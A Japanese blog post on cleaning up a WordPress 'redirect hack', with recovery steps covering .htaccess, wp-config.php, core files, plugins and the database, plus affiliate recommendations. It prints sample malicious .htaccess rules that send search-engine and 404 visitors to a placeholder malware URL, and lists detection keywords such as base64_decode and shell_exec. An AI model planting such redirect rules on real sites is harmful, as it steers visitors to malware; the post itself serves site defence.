リダイレクトハック対策

WordPress コード サーバー

[WP]リダイレクトハック被害から回復とその対策

前回、リダイレクトハックの概要をまとめました。
今回は、リダイレクトハックからいかにして生き返るか(回復させるか)がテーマです。ドシロウトのように、WordPress をまるごとインストールしなおすとかいうのはナシです。ただのテキストに過ぎないコードごときに、再インストールみたいな大げさなことをしているようでは話になりません。

関連記事
リダイレクトハックに注意
アフィリエイターはリダイレクトハック被害に注意

最近あまり、自分の身の回りにはなかったのですが、私の知人(のサイト運営者)が今どき、いわゆる「リダイレクトハック」の被害 ...

続きを見る

理解に必要なコードをまるまる紹介すべきなのでしょうが、悪用される危険性と検索エンジンに目を付けられかねないので、コードは画像として出します。
テキストとしてはコピペができませんが、中身のあるものではないので、これで十分だと思います。
本サイトを訪れる方にとっては、ゴミみたいなコードですので、わざわざまるまるコピーするようなものではないと思います。パッと見て、そして理解して、脳内で応用するのが定石でしょう。

まず、参考までにWebサイトの安全・安心を脅かすリスクを検知し、WordPressの脆弱性やSQLインジェクション脆弱性を調べるには、お手頃な「SiteLock(サイトロック)」というサービスがあります。月額にして千円以下ですので、マジで被害にあった人は検討する値打ちはあるでしょう。

さて、本題です。
ここからは自力で回復するまでの手順を紹介します。ただし、手口は10年ほど前のものと大差ないので、サーバーを触ったことある人には、なんとかできると思います。

Apache ユーザーは .htaccess を確認せよ

まず、デフォルトの.htaccess の中身を知っておきましょう。
以下は、WordPress にデフォルトで作られる.htaccessです。

 .htaccess
### ここから
# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
### ここまで

デフォルトでは、よくわかんないディレクトリへのアクセスがあったら、とりあえず index.php に強制遷移させるという意味です。

.htaccessはウェブサーバーの(特定の)ディレクトリ以下のふるまいを制御する設定ファイルです。

ハッカー(というかそんなにすごい人である必要はない)は次のように.htaccessを書きかえてきます。

 .htaccess
### ここから
RewriteCond %{HTTP_REFERER} .*google.* [OR] # Google 検索から来た人を飛ばす
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] # Yahoo 検索・参照から来た人を飛ばす
RewriteCond %{HTTP_REFERER} .*baidu.* [OR] # Baidu なんて使っている奴は追放
RewriteRule ^(.*)$ http://virus.many.many.come.come/virus.php [R=301,L] # 上のどれかから飛んできた人にウイルスサイトにご招待
### ここまで

説明のためにコメントを入れていますが、実際にハッキングされたらコメントなんて残してくれません。
上のRewriteCondには、正規表現を多用してもっと読みにくくする手法もよく使われます。
この部分でカモにする訪問者の選別を行います。

シッタカの人は、RewriteCondRewriteRuleに反応して、何でもかんでもハッキングされたと騒ぎ立てたくなる傾向にあるようですが、そんなものではありません。包丁を購入する人はみんな人を殺すんだと思い込むようなベルだと困りものです。
誤解なきよう、上のコードはリダイレクトされる宛先が悪質サイトなので問題になりますが、通常のサイトを移転した時に引越し先にリダイレクトさせるなど、正当な方法としても普通に用いられる手段であることは認識しておきましょう。
リダイレクトの設定は悪いことではないが、強制遷移先のアドレスに悪意がある点が問題です。

上の程度のコード(というか設定)だと、google 検索からやってきた人全員をカモにしてしまうので、こうして大量に訪問者を流入させてしまうと行儀がよろしくありません。すぐにバレてしまいます。そこで、もう少し効率的にやるには次のようなコード(設定)が利用されます。

 .htaccess
### ここから
RewriteEngine On
ErrorDocument 404 http://virus.many.many.come.come/virus.php [R=301,L] # へんなところにアクセスする奴は飛んでけ
### ここまで

こうやっておくと、存在しないファイルやフォルダにアクセスしてきた人だけをカモにするので、バレにくいわけです。
404 アクセスだけでなく、503 なども狙われます。503(サーバーに負荷がかかり過ぎているときにリダイレクトさせる)狙いはなかなか巧妙で、イヤラシイリダイレクトです。遅いサーバーを使っている人は注意すべきです。
最近では、ハッキングもマーケッティングの一手法、場合によっては実践的なマーケッティング手法を取り入れてきますので、誰でも彼でもカモにするようなドシロウト愉快犯は、下手なことをすると技術がすごくても精神年齢が足りていないと舐められます。

401はベーシック認証要求、500はサーバーエラー、404はページが存在しないエラー、403はアクセス禁止、503はサーバーがほぼ落ちかけのときのエラーです。

FBIやCIAに高給でスカウトされることを夢見て、クッキング技術を披露したい人であったとしても、このレベルには手を出さない方が身上のためです。愉快犯としてしか扱われません。

WordPressのデータベースをバックアップする

データベースがハックされている可能性が無いわけでもないので、とりあえずレンタルサーバー会社のバックアップツールか、なければ phpMyAdmin 利用してデータベースをバックアップします。
リダイレクトハックはそこまでシステム被害に深刻になる必要はないと考えられるので、データベースのバックアップまで不要というケースが普通なのですが、それでも定石はまずデータベースの保全です。

WordPressのパスワードを変更する

この作業も、本件ではさほど深刻になる必要はないかもしれませんが、定石通りパスワード変更を行います。
ただし、今回は WordPress の php ファイルがハックされている可能性があるので、データベースのパスワード変更を WordPress の管理画面から行うことは極めて危険になります。

WordPress を介さずに、WordPressのパスワードを変更する方法はいくつか考えられますが、直接データベースにアクセスして書き換えてしまうのが万能で、確実です。
でも、データベースは素人という人もいるかと思いますので、phpMyAdmin 利用して書き換えてよいでしょう。

以下はphopMyAdminの画面です、参考までにマル1から3までを辿れば、SQLが書けなくてもパスワード変更できます。

phpMyAdminからのWPパスワード変更

phpMyAdmin もハックされているようなケースが無いわけではないので、心配なら最新版のものを公式サイトからダウンロードしてきて、そのまま解凍して使う(上書きする)だけでも安全性は高まります。

ただし、このデータベースの部分は、あまり自信が無ければ無視してかまわないです。データベースがハックされた(パスワードが漏れた)というケースではないと考えられ、あくまでも php まわりのクラッキングだと考えられるからです。クッキングの痕跡がないデータベースを妙に書き換えて、全体を壊すのはあまり得策ではありません。

いずれにせよ、データベースのバックアップとリストアができる人なら、徹底的に疑いをもって、データベースに存分にアクセスし、書き換えを試みて構いません。

WordPressのパスワードではなく、データベース(普通はMySQL)の管理者パスワードが必要になります。通常はhttpdの権限、もしくはログインユーザの権限でデータベースを操作するので、どちらかの権限が管理者レベルであれば大丈夫です。

書き換える部分は、WordPress のデータベース、wp_usersuser_pass、タイプはvarchar(255)の値を、新しいパスワードに書き換えておきましょう(自身がなかったらとりあえず飛ばして次に進んでください)。

WordPressの wp-config.php を確認せよ

WordPress は header.phpでヘッダーを生成するのですが、ヘッダーといっても HTML のヘッダーではなく、サーバーとクライアントのアクセスのやり取りの部分という意味です。
この部分に、base64() でエンコード(暗号化というか符号化)されたテキストを書いておいて、クライアントからアクセスがあったらデコード(解凍)して、クライアントに渡すという作業をします。

このファイルを書き換えることができれば、やりたい放題できますが、WordPress専用サーバーなどは書き込み権限がつかないようになっています。そのため、悪さをしたい人はまずwp-config.phpを狙います。
wp-config.phpはWordPressをインストールするときに作成されるもので、そもそも書き込み権限がないとインストールできません。
つまり、デフォルトでは書き込み権限があるわけです。サーバーの設定者によって異なりますが、例えばウェブサーバーに書き込み権限があれば、wp-config.phpの頭にコードを注入することが可能です。

wp-config.php

base64()でエンコードしているのは、コードを分かりにくくするための技法です。中身は大したことありません。
デコードすると、下のようになります。

wp-config.php

エラー出力を抑えるため、error_reporting(0);なんてコードを入れてくるところが特徴的です。
error_reporting(0);は入れなくても動きますが、エラーが出てもだんまりを決め込んでくれるので、発覚しづらくなります。

最後はHTTP_REFERERにyahooなどが残っていたら、怪しいサイトにLocationで飛ばすようになっています。
予備知識として、ここ数年はjQueryを利用したリダイレクトものも増えてきています。原理は同じです。

要するに、ぱっと見で分かりにくいbase64()でエンコードが注入されているケースは、コードの中身を見せたくないという理由が大きいので、怪しいサイトに誘導されている可能性を疑う必要があります。
wp-config.phpの頭に見慣れないコードが入っていたら、この部分を消すか、バックアップを戻すなどの対策をしましょう。
現在のところ、複雑に書き換えられるケースは確認されていないので、頭の不要なコードを削除すれば、元通りになるといえます。

WordPressのコアファイルを確認せよ

大半はこれまでの作業で何とかなったはずですが、まだWordPressのダッシュボードにたどり着けないなどというケースでは、次のファイルを確認します。

マルウェアなどを手動で削除してもいいのですが、ハックされたものとWordPressのバージョンが近ければ、最新のWordPressをダウンロードして上書きしてしまっても構わないと思います。乱暴ですが、要はデータベース(とアップロードしたファイル)さえ救えれば、なんとでもなります。

具体的には、

WordPressの使用中のテーマファイルを確認せよ

ここまで来てまだ解決しない場合は、使用中のテーマファイルを確認します。
確認といっても、最新のバージョンに上書きするだけで何とかなるはずです。

具体的には、

が主要なファイルになりますので、上書きしてみます。
テーマについても、古くて長年メンテナンスされていないものはあきらめるか、新しいテーマに移行しましょう。

WordPressのプラグインを再インストールする

WordPressのプラグインが、マルウェア感染の原因になっていることが稀にあるので、再インストールしてみます。
ダッシュボードにアクセスできない場合は、オリジナルのプラグインファイルをダウンロードしてから、自分でzip解凍し、ftpなどでwp-content/pluginsディレクトリに上書きアップロードすればいいでしょう。
もとのプラグインをディレクトリごと消去してから、再アップロードでもとに戻す方が安心です。

少しでも怪しさを感じたプラグインや、古すぎてメンテナンスされていないものは、特に必要が無ければ削除してしまいましょう。
代替プラグインで高品質のものがあれば、入れ替えてしまいましょう。

当サイトとしてはWordPressのテーマは「ACTION PACK3(AFFINGER6EX対応)」がオススメです。

ACTION PACK3(AFFINGER6EX対応)

WordPressテーマ 「ACTION(AFFINGER6)

おすすめWPテーマ

WordPressのデータベースをチェックする

この段階で解決していない場合、データベースの書き換え被害を疑う必要があります。
といっても、大したことをしている可能性は低く、確認項目は以下の通り。

phpMyAdmin などから wp-options table テーブルのsiteurlとhomのurlが悪質サイトのURLに書き換えられていないか確認します。

WordPressのデータベースにスキャンをかける

これまでの作業で解決しない場合、データベースを本気で疑う必要が出てきました。
WordPressのデータベースのバックアップを、しっかりとっておきましょう。
とりあえずWordPressに危機的なエラーが出ていないなら、データベースそのものをめちゃくちゃにされている可能性は低く、postデータなどに余計なコードを注入されている可能性があります。普通は悪質コードは注入できませんが、WordPressのバグにより許可されてしまった可能性もあります。

phpMyAdminでもいいですが、バックアップしたファイルをテキストエディタで開いて、以下のキーワードが不自然に注入されていないか確認します。

"destinyfernandi"
"adsformarket"
"base64_decode"
"gzinflate"
"shell_exec"
"error_reporting(0)"
"shell_exec("

これらのキーワードを仮に発見しても、ただの記事の一部かもしれないので、テクニカルな記事を引用したり書いているサイトの場合は、早とちりしないようにしてください。

WordPress を新しくして、データベースをリストアする

ここまで来る可能性は極めて低いと思いますが、最後の手として WordPress を再インストールし、データベースをリストアします。
作業は少々手間ですが、wp-content/uploadディレクトリ以外のものはすべて、再ダウンロードして新しく構成しなおします。wp-content/uploadのファイルについても、怪しいものがないか確認しておきましょう。テキストファイルで、phpなどの拡張子のものは重点的に中身を疑いましょう。厳密にはテキストファイルはすべて中身を疑ってみると完璧です。

最後に気休めになりますが、以下のプラグインを紹介します。特に無料版でも主要機能は使えますので、とりあえず試されるといいと思います。

これまでの作業でほぼ回復できたと推察しますが、できない場合はSiteLock(サイトロック)で、原因を調べてみてください。

RECOMMEND

-WordPress, コード, サーバー
-, , , ,